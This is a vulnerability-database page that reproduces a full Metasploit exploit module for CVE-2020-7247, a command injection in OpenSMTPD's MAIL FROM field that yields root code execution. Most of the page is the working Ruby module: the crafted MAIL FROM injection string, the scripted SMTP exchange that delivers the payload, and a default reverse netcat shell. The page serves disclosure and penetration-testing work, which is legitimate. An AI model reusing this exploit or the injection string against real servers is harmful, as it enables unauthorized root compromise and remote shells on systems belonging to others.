Lucene search
K

OpenSMTPD MAIL FROM Remote Code Execution

🗓️ 29 Jan 2020 11:10:43Reported by Qualys, wvu <[email protected]>, RageLtMan <rageltman@sempervictus>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 93 Views

OpenSMTPD MAIL FROM Remote Code Execution. Exploits command injection in MAIL FROM field during SMTP interaction with OpenSMTPD to execute a command as root user

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Expect

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OpenSMTPD MAIL FROM Remote Code Execution',
        'Description' => %q{
          This module exploits a command injection in the MAIL FROM field during
          SMTP interaction with OpenSMTPD to execute a command as the root user.
        },
        'Author' => [
          'Qualys', # Discovery and PoC
          'wvu', # Module
          'RageLtMan <rageltman[at]sempervictus>' # Module
        ],
        'References' => [
          ['CVE', '2020-7247'],
          ['EDB', '48051'], # raptor's LPE/RCE exploit
          ['URL', 'https://seclists.org/oss-sec/2020/q1/40']
        ],
        'DisclosureDate' => '2020-01-28',
        'License' => MSF_LICENSE,
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Privileged' => true,
        'Targets' => [
          [
            'OpenSMTPD 6.4.0 - 6.6.1',
            {
              'MyBadChars' => "!\#$%&'*?`{|}~\r\n".chars
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/unix/reverse_netcat'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      Opt::RPORT(25),
      OptString.new('RCPT_TO', [true, 'Valid mail recipient', 'root'])
    ])

    register_advanced_options([
      OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5])
    ])
  end

  def check
    connect
    res = sock.get_once

    return CheckCode::Unknown unless res
    return CheckCode::Detected if res =~ /^220.*ESMTP OpenSMTPD/

    CheckCode::Safe
  rescue EOFError, Rex::ConnectionError => e
    vprint_error(e.message)
    CheckCode::Unknown
  ensure
    disconnect
  end

  def exploit
    # We don't care who we are, so randomize it
    me = rand_text_alphanumeric(8..42)

    # Send mail to this valid recipient
    to = datastore['RCPT_TO']

    # "Comment slide" courtesy of Qualys - brilliant!
    rand_var = rand_text_alpha(1)
    iter = rand_text_alphanumeric(14).chars.join(' ')
    from = ";for #{rand_var} in #{iter};do read #{rand_var};done;sh;exit 0;"

    # Check against RFC 5321, even though OpenSMTPD is more permissive
    if from.length > 64
      print_warning('MAIL FROM field is greater than 64 chars')
    end

    # Check for badchars, even though there shouldn't be any
    if (badchars = (from.chars & target['MyBadChars'])).any?
      print_warning("MAIL FROM field has badchars: #{badchars}")
    end

    # Create the mail body with comment slide and payload
    body = "\r\n#{"#\r\n" * 14}#{payload.encoded}"

    sploit = {
      nil => /220.*OpenSMTPD/,
      "HELO #{me}" => /250.*pleased to meet you/,
      "MAIL FROM:<#{from}>" => /250.*Ok/,
      "RCPT TO:<#{to}>" => /250.*Recipient ok/,
      'DATA' => /354 Enter mail.*itself/,
      body => nil,
      '.' => /250.*Message accepted for delivery/,
      'QUIT' => /221.*Bye/
    }

    print_status('Connecting to OpenSMTPD')
    connect

    print_status('Saying hello and sending exploit')
    sploit.each do |line, pattern|
      send_expect(
        line,
        pattern,
        sock: sock,
        newline: "\r\n",
        timeout: datastore['ExpectTimeout']
      )
    end
  rescue Rex::ConnectionError => e
    fail_with(Failure::Unreachable, e.message)
  rescue Timeout::Error => e
    fail_with(Failure::TimeoutExpired, e.message)
  ensure
    disconnect
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Aug 2021 00:08Current
0.5Low risk
Vulners AI Score0.5
CVSS 210
CVSS 3.19.8
EPSS0.98946
93